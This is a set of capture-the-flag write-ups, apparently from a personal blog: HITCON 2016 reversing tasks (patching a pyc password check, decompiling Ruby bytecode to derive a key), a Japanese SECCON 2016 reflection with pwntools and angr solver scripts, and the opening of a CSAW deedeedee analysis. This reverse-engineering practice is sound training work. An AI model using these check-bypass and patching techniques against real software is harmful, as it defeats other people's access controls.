HITCON CTF 2016 Quals Writeup (Reverse: Handcrafted-pyc&ROP)
I participated in HITCON CTF 2016 Quals (2016/10/8-10/9; 48 hours) as a member of Ping-Mic (1 people).
I solved following plobrems in this time:
- Handcrafted-pyc (Reverse 50 pts.)
- ROP (Reverse 250 pts.)
My team result is 126th place (350 pts):
# Gophers in the Shell めっちゃうけるんですけどww
Here's writeups.
Handcrafted-pyc (Reverse 50 pts.)
decompress.py
to convert crackme.py
to crackme.pyc
:
import marshal, zlib, base64 import imp b64d = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==') zd = zlib.decompress(b64d) # open("marshal", "wb").write(zd) ml = marshal.loads(zd) with open('crackme.pyc','wb') as f: f.write(imp.get_magic() + b'\0' * 4 + zd)
disasm.py
to disassemble:
# orig. http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html import dis, marshal, struct, sys, time, types def show_file(fname): f = open(fname, "rb") magic = f.read(4) moddate = f.read(4) modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0])) print "magic %s" % (magic.encode('hex')) print "moddate %s (%s)" % (moddate.encode('hex'), modtime) code = marshal.load(f) show_code(code) def show_code(code, indent=''): print "%scode" % indent indent += ' ' print "%sargcount %d" % (indent, code.co_argcount) print "%snlocals %d" % (indent, code.co_nlocals) print "%sstacksize %d" % (indent, code.co_stacksize) print "%sflags %04x" % (indent, code.co_flags) show_hex("code", code.co_code, indent=indent) dis.disassemble(code) print "%sconsts" % indent for const in code.co_consts: if type(const) == types.CodeType: show_code(const, indent+' ') else: print " %s%r" % (indent, const) print "%snames %r" % (indent, code.co_names) print "%svarnames %r" % (indent, code.co_varnames) print "%sfreevars %r" % (indent, code.co_freevars) print "%scellvars %r" % (indent, code.co_cellvars) print "%sfilename %r" % (indent, code.co_filename) print "%sname %r" % (indent, code.co_name) print "%sfirstlineno %d" % (indent, code.co_firstlineno) show_hex("lnotab", code.co_lnotab, indent=indent) def show_hex(label, h, indent): h = h.encode('hex') if len(h) < 60: print "%s%s %s" % (indent, label, h) else: print "%s%s" % (indent, label) for i in range(0, len(h), 60): print "%s %s" % (indent, h[i:i+60]) show_file(sys.argv[1])
I found that password check routine can be bypassed by binary patching.
magic 03f30d0a moddate 00000000 (Thu Jan 1 09:00:00 1970) code argcount 0 nlocals 0 ... snipped ... 737 LOAD_CONST 0 (None) 740 NOP 741 JUMP_ABSOLUTE 759 >> 744 LOAD_GLOBAL 1 (raw_input) 747 JUMP_ABSOLUTE 1480 >> 750 LOAD_FAST 0 (password) 753 COMPARE_OP 2 (==) 756 JUMP_ABSOLUTE 767 >> 759 ROT_TWO 760 STORE_FAST 0 (password) 763 POP_TOP 764 JUMP_ABSOLUTE 744 >> 767 POP_JUMP_IF_FALSE 1591 770 LOAD_GLOBAL 0 (chr) 773 LOAD_CONST 17 (99) ... snipped ...
So I replaced POP_JUMP_IF_FALSE 1591
@767 to NOP
s.
We can check opecodes at CPython's opcode.h.
- Bytecode of
POP_JUMP_IF_FALSE 1591
is114
(\x72
). - Bytecode of
1591
(0x637) is\x37\x06
(little endian). - Bytecode of
NOP
is 9 (\x09
).
So replace 72 37 06
with 09 09 09
in crackme.pyc
in my binary editor. I saved patched binary as crackme.patched.pyc
.
Finally, I got flag:
% python2 crackme.patched.pyc password: bypassed hitcon{Now you can compile and run Python bytecode in your brain!
flag = hitcon{Now you can compile and run Python bytecode in your brain!
ROP (Reverse 250 pts.)
Who doesn't like ROP? Let's try some new features introduced in 2.3.
First, I googled "iseq 2.3". I found that iseq is Ruby 2.3's feature and it is compiled by its Class: RubyVM::InstructionSequence
.
Second, i wrote this scripts to disassemble/run iseq file.
ROP.rb
:
require 'iseq' data = File.read('rop.iseq') # data = Marshal.dump seq # seq_loaded = Marshal.load data # data = data.unpack("C*") # puts data.class new_iseq = RubyVM::InstructionSequence.load_from_binary data if ARGV[0] == "disasm" then puts new_iseq.disasm else new_iseq.eval end
rop.sh
:
#!/bin/sh ruby ROP.rb
to disassemble: ruby ROP.rb disasm > ROP.disasm
to run: ./rop.sh
Third, I hand decompiled iseq like following lines:
for main()
?:
0054 getglobal $stdin 0056 opt_send_without_block <callinfo!mid:gets, argc:0, ARGS_SIMPLE>, <callcache> line = gets(0) 0059 opt_send_without_block <callinfo!mid:chomp, argc:0, ARGS_SIMPLE>, <callcache> 0062 setlocal_OP__WC__0 3 0064 trace 1 ( 39) 0066 getlocal_OP__WC__0 3 0068 putstring "-" 0070 opt_send_without_block <callinfo!mid:split, argc:1, ARGS_SIMPLE>, <callcache> 0073 setlocal_OP__WC__0 2 # check 0075 trace 1 ( 40) check = line.split('-') 0077 getlocal_OP__WC__0 2 0079 opt_size <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache> 0082 putobject 5 0084 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0087 branchif 94 if (size(check) == 5) { // at 94 } else { gg() #game over } 0094 trace 1 ( 41) 0096 getlocal_OP__WC__0 2 0098 send <callinfo!mid:all?, argc:0>, <callcache>, block in <compiled> == disasm: #<ISeq:block in <compiled>@<compiled>>======================= == catch table | catch type: redo st: 0002 ed: 0011 sp: 0000 cont: 0002 | catch type: next st: 0002 ed: 0011 sp: 0000 cont: 0011 |------------------------------------------------------------------------ local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 2] x<Arg> 0000 trace 256 ( 41) 0002 trace 1 0004 getlocal_OP__WC__0 2 0006 putobject /^[0-9A-F]{4}$/ 0008 opt_regexpmatch2 <callinfo!mid:=~, argc:1, ARGS_SIMPLE>, <callcache> 0011 trace 512 0013 leave 0102 branchif 109 check.all?{|item| item ~= /^[0-9A-F]{4}$/} 0109 trace 1 ( 42) 0111 getlocal_OP__WC__0 2 0113 putobject_OP_INT2FIX_O_0_C_ # 0 0114 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0117 putobject 16 0119 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=16 0122 putobject 31337 0124 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0127 branchif 134 if (check[0].to_i(16) == 31337) { // at 134 } else { gg() } 0136 getlocal_OP__WC__0 2 0138 putobject_OP_INT2FIX_O_1_C_ # 1 0139 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0142 opt_send_without_block <callinfo!mid:reverse, argc:0, ARGS_SIMPLE>, <callcache> 0145 putstring "FACE" 0147 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0150 branchif 157 if (check[1].reverse == "FACE") { // at 157 } else { gg() } 0157 trace 1 ( 44) 0159 putself 0160 putobject 217 # a := 217 0162 getlocal_OP__WC__0 2 0164 putobject 2 0166 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0169 putobject 16 0171 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # b := check[2].to_i(16) 0174 putobject 314159 # m := 314159 0176 opt_send_without_block <callinfo!mid:f, argc:3, FCALL|ARGS_SIMPLE>, <callcache> 0179 putobject 28 # base=28 0181 opt_send_without_block <callinfo!mid:to_s, argc:1, ARGS_SIMPLE>, <callcache> 0184 opt_send_without_block <callinfo!mid:upcase, argc:0, ARGS_SIMPLE>, <callcache> 0187 putstring "48D5" 0189 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0192 branchif 199 if (f(217, check[2].to_i(16), 314159).to_s(28).upcase == "48D5") { // at 199 } else { gg() } >>> 0x48D5 18645 0201 getlocal_OP__WC__0 2 0203 putobject 3 0205 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> 0208 putobject 10 0210 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=10 0213 opt_send_without_block <callinfo!mid:prime_division, argc:0, ARGS_SIMPLE>, <callcache> 0216 putobject :first # n.prime_division no first-item 0218 send <callinfo!mid:map, argc:0, ARGS_BLOCKARG>, <callcache>, nil 0222 opt_send_without_block <callinfo!mid:sort, argc:0, ARGS_SIMPLE>, <callcache> 0225 duparray [53, 97] 0227 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0230 branchif 237 if (Prime.first(check[3]) == [53,97]) { // check[3] = 53 * 97 = 5141 // at 237 } else { gg() } 0239 getlocal_OP__WC__0 2 # xs 0241 send <callinfo!mid:map, argc:0>, <callcache>, block in <compiled> map == disasm: #<ISeq:block in <compiled>@<compiled>>======================= == catch table | catch type: redo st: 0002 ed: 0011 sp: 0000 cont: 0002 | catch type: next st: 0002 ed: 0011 sp: 0000 cont: 0011 |------------------------------------------------------------------------ local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 2] x<Arg> 0000 trace 256 ( 46) 0002 trace 1 0004 getlocal_OP__WC__0 2 0006 putobject 16 0008 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> 0011 trace 512 0013 leave 0245 putobject :^ 0247 opt_send_without_block <callinfo!mid:inject, argc:1, ARGS_SIMPLE>, <callcache> xs.inject(:^) 0250 opt_send_without_block <callinfo!mid:to_s, argc:0, ARGS_SIMPLE>, <callcache> 0253 opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache> 0256 putstring "947d46f8060d9d7025cc5807ab9bf1b3b9143304" 0258 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0261 branchif 268 // http://sha1.gromweb.com/?hash=947d46f8060d9d7025cc5807ab9bf1b3b9143304 // sha1("5671") = "947d46f8060d9d7025cc5807ab9bf1b3b9143304" if (sha1(check.map{|item| item.to_i(16)}.inject(:^)) == "947d46f8060d9d7025cc5807ab9bf1b3b9143304") { // congratz }
for f()
:
== disasm: #<ISeq:f@<compiled>>========================================= == catch table | catch type: break st: 0021 ed: 0086 sp: 0000 cont: 0086 | catch type: next st: 0021 ed: 0086 sp: 0000 cont: 0018 | catch type: redo st: 0021 ed: 0086 sp: 0000 cont: 0021 |------------------------------------------------------------------------ local table (size: 6, argc: 3 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1]) [ 6] a<Arg> [ 5] b<Arg> [ 4] m<Arg> [ 3] s [ 2] r 0000 trace 8 ( 27) 0002 trace 1 ( 28) 0004 putobject_OP_INT2FIX_O_1_C_ # 1 0005 setlocal_OP__WC__0 3 <s> s = 1 0007 trace 1 ( 29) 0009 getlocal_OP__WC__0 6 <a> 0011 setlocal_OP__WC__0 2 <r> r = a 0013 trace 1 ( 30) 0015 jump 75 0017 putnil 0018 pop 0019 jump 75 0075 getlocal_OP__WC__0 5 <b> ( 30) 0077 putobject_OP_INT2FIX_O_0_C_ # 0 0078 opt_neq <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0083 branchif 21 if (b != 0) { // at 21 } else { return s } 0021 trace 1 ( 31) 0023 getlocal_OP__WC__0 5 <b> 0025 putobject_OP_INT2FIX_O_0_C_ # = 0 0026 opt_aref <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> # b[0] 0029 putobject_OP_INT2FIX_O_1_C_ # = 1 0030 opt_eq <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0033 branchunless 49 if (b[0] != 1) { // at 49 } 0035 getlocal_OP__WC__0 3 <s> 0037 getlocal_OP__WC__0 2 <r> 0039 opt_mult <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache> 0042 getlocal_OP__WC__0 4 <m> 0044 opt_mod <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache> 0047 setlocal_OP__WC__0 3 <s> s = s * r % m 0049 trace 1 ( 32) 0051 getlocal_OP__WC__0 5 <b> 0053 putobject_OP_INT2FIX_O_1_C_ # = 1 0054 opt_send_without_block <callinfo!mid:>>, argc:1, ARGS_SIMPLE>, <callcache> 0057 setlocal_OP__WC__0 5 <b> b = b >> 1 0059 trace 1 ( 33) 0061 getlocal_OP__WC__0 2 <r> 0063 getlocal_OP__WC__0 2 <r> 0065 opt_mult <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache> 0068 getlocal_OP__WC__0 4 <m> 0070 opt_mod <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache> 0073 setlocal_OP__WC__0 2 <r> r = r * r % m 0075 getlocal_OP__WC__0 5 <b> ( 30) 0077 putobject_OP_INT2FIX_O_0_C_ # 0 0078 opt_neq <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache> 0083 branchif 21 if (b != 0) { // b = 16, 8, 4, 2, 1, 0 // at 21 } else { return s } ---- 0085 putnil 0086 pop 0087 trace 1 ( 35) 0089 getlocal_OP__WC__0 3 <s> return s 0091 trace 16 ( 36) 0093 leave
to get check[2], check[4] (xs[2], x[4]), i wrote f.rb
and final.rb
:
f.rb
:
def f(a, b, m) s = 1 r = a while b != 0 do if b[0] == 1 then s = s * r % m end b = b >> 1 r = r * r % m end return s end (1..314159).each{|i| if f(217, i, 314159).to_s(28).upcase == "48D5" then puts "found" puts i.to_s(16) # hex(i) end } """result % ruby f.rb found 1bd2 """
final.rb
:
require 'iseq' xs = [31337.to_s(16), "FACE".reverse, "1bd2", "5141"] # puts RubyVM::InstructionSequence.compile("puts xs.map{|item| item.inject(:^)}.to_s").disasm() # a ^ b ^ c ^ d ^ x = e # x = e ^ (a ^ b ^ c ^ d) result = xs.map{|item| item.to_i(16)}.inject(:^) final = (result ^ 5671).to_s(16) key = (xs + [final]).join('-').upcase puts key puts (xs + [final]).map{|item| item.to_i(16)}.inject(:^) p IO.popen("./run.sh", "r+") {|io| io.puts key io.close_write io.gets }
Finally, i got flag:
% ruby final.rb 7A69-ECAF-1BD2-5141-CA72 5671 "Congratz! flag is hitcon{ROP = Ruby Obsecured Programming ^_<}\n"
flag = hitcon{ROP = Ruby Obsecured Programming ^_<}
This CTF was good for me ^_^ Thanks!
SECCON2016 大阪大会(アツマレバイナリアン)ひとり反省会
アツマレトモリナオということで友利奈緒ちゃんたちと「イーグルジャンプ」というチームで出場しました。
友利奈緒!!!! pic.twitter.com/SQPd3Q6Kls
— たけまる (@tkmru) October 2, 2016
メンバー:
- ぴんく (@PINKSAWTOOTH)
- たけまる (@tkmru)
- しゅうすい (@syusui_s)
結果は、
結果はたぶん8位 自分は全然だめだった・・・ 自動化まで完成させて点を取ってくれたチームメイトに感謝。
SECCON2016 大阪大会参加してきた・・・(だめ) - Twitterに書ききれないこと
SECCON大阪の最終結果です。 #seccon pic.twitter.com/bmCCNnxsWU
— ツモり四限遅刻 (@ymduu) 2016年10月2日
圧倒的実装力不足!(普段pythonを書かなすぎている…><)
自動化して得点を入れ始めたのが終了40分前だったので、submitできたのは800点くらい。
# 競技時間は3時間
チームメイトの参加記はこちら:
SECCON大阪大会 2016 30000の問題を自動化するスクリプト、出来てしまった https://t.co/dxtGix9LQh
— Сюусуи (@syusui_s) 2016年10月3日
問題構成
reversing、pwnの2種類×難易度で2種類の4種類。フラグ1つ100点。
resersingパートはbackdoorをモチーフにした問題。特定の入力をするとサーバーがフラグを教えてくれる。 pwnパートはほぼやってないので説明を省略する。
難易度が低い方は、5分に1回バイナリとフラグが変わる。 難易度が高い方は、1秒に1回バイナリとフラグが変わる。 1秒以内に解かないといけないというけではなく、コネクションが維持できている一定時間内であればサーバーに入力を与えることができる。
解いた問題
backdoor (easy)
概要
ぴんくと一緒に解析した。
入力文字列の後ろから1文字ずつxorしてgood_known
と比較しているだけ
(ここで例に挙げるバイナリのmd5sumは242cecd67fc91dc1457c045d23e5baa9
)
00000000004001b0 lea rdi, qword [ss:rbp-0xb] 00000000004001b4 push 0xb 00000000004001b6 push rdi 00000000004001b7 push 0x0 00000000004001b9 call sub_400239 00000000004001be add rsp, 0x18 00000000004001c2 mov ecx, 0xb 00000000004001c7 lea rdi, qword [ss:rbp-0xb] 00000000004001cb movabs rsi, 0x400212 ; Basic Block Registers Used: rcx rsi rdi - Defined: rax rbx rip CPAZSO - Killed: <nothing> - LiveIn: rcx rsp rbp rsi rdi - LiveOut: rcx rsp rbp rsi rdi rip - AvailIn: rax rcx rip CPAZSO - AvailOut: rax rcx rbx rip CPAZSO 00000000004001d5 mov al, byte [ds:rdi+rcx-1] ; XREF=EntryPoint+89 00000000004001d9 mov bl, byte [ds:rsi+rcx-1] 00000000004001dd xor al, 0x5a 00000000004001df cmp al, bl 00000000004001e1 jne 0x4001f4
0000000000400212 db 0xc7 ; '.' ; XREF=EntryPoint+62 0000000000400213 db 0xc9 ; '.' 0000000000400214 db 0x4a ; 'J' 0000000000400215 db 0x5f ; '_' 0000000000400216 db 0xa0 ; '.' 0000000000400217 db 0x28 ; '(' 0000000000400218 db 0xb2 ; '.' 0000000000400219 db 0x61 ; 'a' 000000000040021a db 0x97 ; '.' 000000000040021b db 0x23 ; '#' 000000000040021c db 0xab ; '.'
結果だけ書くと、rsi
にgood_known
、ecx
に文字列長、rdi
にユーザー入力が入るのでreversing技術とobjdumpゴリ押しで自動化可能と分かった。
できた自動回答プログラム
backdoor.py
:
from pwn import * from hexdump import hexdump import os import hashlib import re import base64 r = remote("10.0.1.2", 10000) # r.sendline("") data = r.recvrepeat(1).split('\n') info = data[0] print info binary_b64 = data[1].split(':')[1] # print binary_b64 binary = binary_b64.decode("base64") hexdump(binary) file_name = hashlib.md5(binary).hexdigest() log.info(file_name) with open(file_name, 'wb') as f: f.write(binary) os.system("chmod +x " + file_name) proc = subprocess.Popen(["./find.sh", file_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() print out good_known = int(out, 16) print "good_known = %#x" % good_known proc = subprocess.Popen(["./xor.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() print "xor out = %r" % out xor_key = int(out, 16) print "xor key = %x" % xor_key proc = subprocess.Popen(["./length.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE) out, err = proc.communicate() length = int(out.split('\n',)[0], 16) print "length = %x" % length _from = good_known & 0xfff print "offset = %#x" % _from lbinary = list(binary) print "good_known = " + str(lbinary[_from:_from+length]) good_known = lbinary[_from:_from+length] import string flag = "" # good_known = "\xa5\x59\x2e\x80\x0a\x19\xfc\x33\x5b" # ↓ xorしてるから同じ手順で平文を得られるのになんで全探索してるんですかねぇ… length = len(good_known) # ←はじめに文字列長をベタ書きしていて、手動で解こうとしてたぴんくの時間を無駄にしてしまった for i in reversed(range(length)): # for c in string.printable: # ←誤った思い込み良くない for c in range(256): # al = ord(c) al = c bl = ord(good_known[i]) if al ^ xor_key == bl: flag = chr(c) + flag # print "%r" % flag break if len(flag) == length: print "flag = %r" % flag else: print "[!] incorrect flag. exit" exit() payload = base64.b64encode(flag+'\n') r.sendline(payload) flag_output = r.recvrepeat(1) FLAG = flag_output.split(':')[1] rs = remote('10.0.1.1', 10000) rs.sendline("EagleJump " + FLAG) print rs.recvrepeat(1) # r.interactive()
find.sh
:
#!/bin/sh objdump -Mintel -d $1 | grep -B 2 "mov al,BYTE" | head -n 1 | awk -F, '{print $2}'
# objdump -Mintelと書くことの重要性!(alias対策)
xor.sh
:
#!/bin/sh objdump -Mintel -d $1 | egrep "xor" | awk -F, '{print $2}'
length.sh
:
#!/bin/sh objdump -Mintel -d $1 | egrep "mov ecx" | awk -F, '{print $2}'
backdoor (hard) ※本番では解けていない
(敗因)secretがstringsで引っかかるのに気づかなかった&angr.pyというファイル名を付けて自爆
方針:
strings -tx
でsecretのアドレスを調べる- objdumpとgrepをゴリ押しして、secretを文字列として格納しているBasic Blockを探す
- 正確にはangrに渡すfindのアドレスはBasic Blockの先頭アドレスでもないが、exploreでは問題にならない
import logging logging.basicConfig(level=logging.ERROR) import angr import subprocess import os, sys def main(BIN): # BIN = "30506f9aa41ca3067d7568539a7267e8" with open('find_secret.sh', 'w') as f: f.write(""" str_addr=`strings -tx $1 | grep secret | egrep -o "[0-9]+"` objdump -Mintel -d $1 | grep 0x400${str_addr} | awk -F: '{print $1}' | tr -d ' ' """) p = angr.Project(BIN, load_options={'auto_load_libs': False}) proc = subprocess.Popen(["bash", "find_secret.sh", BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE) out, _ = proc.communicate() find_addr = int(out, 16) print "[*] find address = %#x" % find_addr initial_state = p.factory.entry_state() pg = p.factory.path_group(initial_state) ex = pg.explore(find=(find_addr)) if len(ex.found): INPUT = ex.found[0].state.posix.dumps(0) # dump stdin print "[*] found: %r" % INPUT print "[*] self check" with open("secret", 'w') as f: content = "this_is_secret" print "[*] content of secret is '%s'" % content f.write(content) os.system("python2 -c \"print('%s')\" | ./%s" % (INPUT, BIN)) else: print "[!] not found" print "" if __name__ == '__main__': if len(sys.argv) != 2: print "usage: %s binary_file" % sys.argv[0] exit() main(sys.argv[1])
実行例:
% time python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8 [*] find address = 0x400271 [*] found: '\xacD\xd5.c:\xd0\xe5' [*] self check [*] content of secret is 'this_is_secret' this_is_secret python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8 8.21s user 0.16s system 99% cpu 8.395 total
感想
- 問題は面白かった。簡単だが、問題がコロコロ変わるの最高ー!
よかったこと
とあるプロにとっては当たり前なのかもしれないけど
- 競技説明中に、落としてきたバイナリを保存するプログラムを書いておけた
- pwntoolsでサーバーとやり取りするという安定の方法をとれた
- バイナリの名前をmd5のsum値で保存することで、ファイルを受け渡すことなく一緒になって同じバイナリを解析することが容易だった
- 大会前にangrを入門できた(のに…)
反省点(やらかし列伝)
無能ミス連発
- Hopperからでangrを動かせるプラグインを事前に作ったものの、正答の入力が印字可能文字の範囲内という制約式を付けてしまっていたため、angrで簡単には解けないとミスジャッジ
- 実際には簡単に解ける(gif)
- angrで解くpythonスクリプトを書いたが、ファイル名を
angr.py
にして、スクリプト内のimport angr
で自分をimportさせる馬鹿をした- これをチームメイトのぴんくもやっていた
- 数日潰してまでめっちゃangrに入門したのに〜ぃ
- 普段、
objdump -Mintel
をobjdump
にaliasしていて、スクリプトobjdump
と読んでもintel記法にはならない→grepで期待したアセンブリが引っかからない - pythonで配列のスライスは
arr[from:to]
というように、開始から終了までのインデックスを指定するものなのに、arr[offset:length]
というようなオフセットから数文字とると勘違いしていた - シェルスクリプトで解析対象のファイル名を引数で取るつもりが、ファイル名をベタ書きしていて時間を無駄にした
- HopperやIDA Proの解析ミスり気味だった。それで粘るのではなく、objdumpやstringsゴリ押しで効率よく解析すべきだったか?(
grep xor
とか?) - xorで全探索で求めてるの無能気味では
学んだこと
- pythonスクリプトを、そこでimportするモジュールと同じ名前にしてはならない
- シェルでバイナリから特定の情報を取るなど複雑なことをしたいときは、シェルスクリプトで作っておくとチェックとコーディングが楽(今回でいうとfind.sh, xor.sh, length.sh) or 小学生に煽られてでもpythonでcommands(python2のみ)のようなモジュールを使うとよい
- pwntoolsのような特殊なモジュールを使うと他のチームメイトが実行できない可能性がある or 事前にチームメイト間の環境を揃える
- aliasを普段のシェルで無効化したほうが事故を防げそう
- grepの
-A
、-B
オプションクソ便利 - カレントディレクトリに
angr.py
、angr.pyc
というファイルがあると、import angr
に無言の死を遂げる
おまけ
本番1週間前ぐらいに、angrで解いてくれるHopper Script書きました。
Ping-Micのtool置き場(GitHub)に上げてあります。
Hopperでbackdoor(hard)を秒殺(?)してみた
他の人にひとこと
angrの出力を見て、成功したか成功しなかったのかを判断するのはangrの流儀に反してると思います。(確かにそれでも解けますけど…)
PathGroup.explore()でfindを指定しない、State.add_constrains()しないでdeadendするまで動かしてその時の標準出力を見るのは探索効率が非常に悪いです。
あんだけ本番でガンガンangr使えるように練習したのに、ファイル名が原因でangr使えなかったのは、本当に勝機を逃しすぎてる…
angr.pyというファイル名はダメ、絶対!
CSAW CTF 2016 Quals - deedeedee (Rev150) writeup
2016/10/17〜18の2日間開催されたCSAW CTF 16 Qualsに参加しました。 結果はやる気を疑われるレベルの点数でしたが、本番が終わった今日はinterestingな問題を解き直していました。 今回は執筆時点で運営以外のwriteupが上がってない deedeedee (Reversing 150 pts.) という問題のWriteupを書きます。
おことわり:僕はD言語もconstexprもよく知りません。基本feelingで読みました><
問題
Wow! I can run code at compile time! That's a pretty cool way to keep my flags secret. Hopefully I didn't leave any clues behind...
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d I generated it at compile time. :) Can you decrypt it for me?
第一印象
- ユーザー入力の余地がない
- angrとかの出番はまず無さそう
- flagがバイナリに無く、encryptはコンパイル時計算によるもの
- よく見るとencryptされた文字列っぽいものはある(当然)
- コンパイル時計算といえはc++?
- 実際はD言語のtempleteとかmixin
→無理ゲーでは?
方針
CTFの問題は、ブルートフォースが必要だとしても、必ず開催期間内に解けるようになっているので、 ちゃんとバイナリを読んだ上で負いきれない部分をブルートフォースするようにしますかね。 enrypt()がどのようにされたのかというヒントがバイナリに残っていないと解けないと思うので、 バイナリに残っている関数を丁寧に見たほうが良さそうです。
あと、最初はc++で書かれてるのかな(例のconstexpr?)と思いましたが、運営のgitリポジトリを見る限りD言語で書かれてますね。 ソースコードと思考過程が全く辿れないwriteupが公開されてるので解析の手がかりに使いたいと思います。
以下、readelf -h
です。
% reedelf -h deedeedee ELF ヘッダ: マジック: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 クラス: ELF64 データ: 2 の補数、リトルエンディアン バージョン: 1 (current) OS/ABI: UNIX - System V ABI バージョン: 0 型: EXEC (実行可能ファイル) マシン: Advanced Micro Devices X86-64 バージョン: 0x1 エントリポイントアドレス: 0x44ccf0 プログラムの開始ヘッダ: 64 (バイト) セクションヘッダ始点: 850408 (バイト) フラグ: 0x0 このヘッダのサイズ: 64 (バイト) プログラムヘッダサイズ: 56 (バイト) プログラムヘッダ数: 10 セクションヘッダ: 64 (バイト) セクションヘッダサイズ: 34 セクションヘッダ文字列表索引: 31
はい、x86_64〜😇
解析ヾノ*>ㅅ<)ノシ
IDA Proを持っているほど強いチームでもないし、かと言ってobjdump+Sublime Text+readelf+grepでは太刀打ちできる量ではないです。 仕方ないので、今日Hopper v3を買いました。 そこそこいい線いってるデコンパイラが付いてます(実は数日前からデモ版で試していました)。 アセンブリの画面では引数を格納している命令の横にそうと分かるようなコメントがつくのもいい感じです。
(割と丁寧に書きます。あと、割とreadelfをゴリ押しします)
main関数は、Your hexencoded, encrypted flag is
が出る関数を探せばいいです。
今回は Dmain
というラベルがついていました。
(解いた後にスクショを撮ったので、書き込みがある点はご了承くだされ)
# 一般にD言語のmain関数には _Dmain
というシンボルがつくのかな?
Dmainにはマングルされたザ可読性ゼロを体現したかのような関数がありました。
そのような関数はどんどんオレオレデマングルしていきました。
# deedeedee.d
を持っているので、ある程度自信を持ってできました><
% readelf -s deedeedee| egrep "(hexencode|writeln)" 264: 000000000044e370 148 FUNC GLOBAL DEFAULT 13 _D9deedeedee9hexencodeFAy 2544: 00000000004734e8 227 FUNC WEAK DEFAULT 13 _D3std5stdio16__T7writeln 3012: 0000000000472f78 161 FUNC WEAK DEFAULT 13 _D3std5stdio20__T7writeln 2442: 000000000044e370 148 FUNC GLOBAL DEFAULT 13 _D9deedeedee9hexencodeFAy 4240: 0000000000472f78 161 FUNC WEAK DEFAULT 13 _D3std5stdio20__T7writeln 5269: 00000000004734e8 227 FUNC WEAK DEFAULT 13 _D3std5stdio16__T7writeln
Your なんちゃらが表示された直後にHEXエンコードされたencrypted flagが表示されます。 hexencodeと名づけた関数の返り値がそれのようなので、hexencodeの中身を追っていきます。
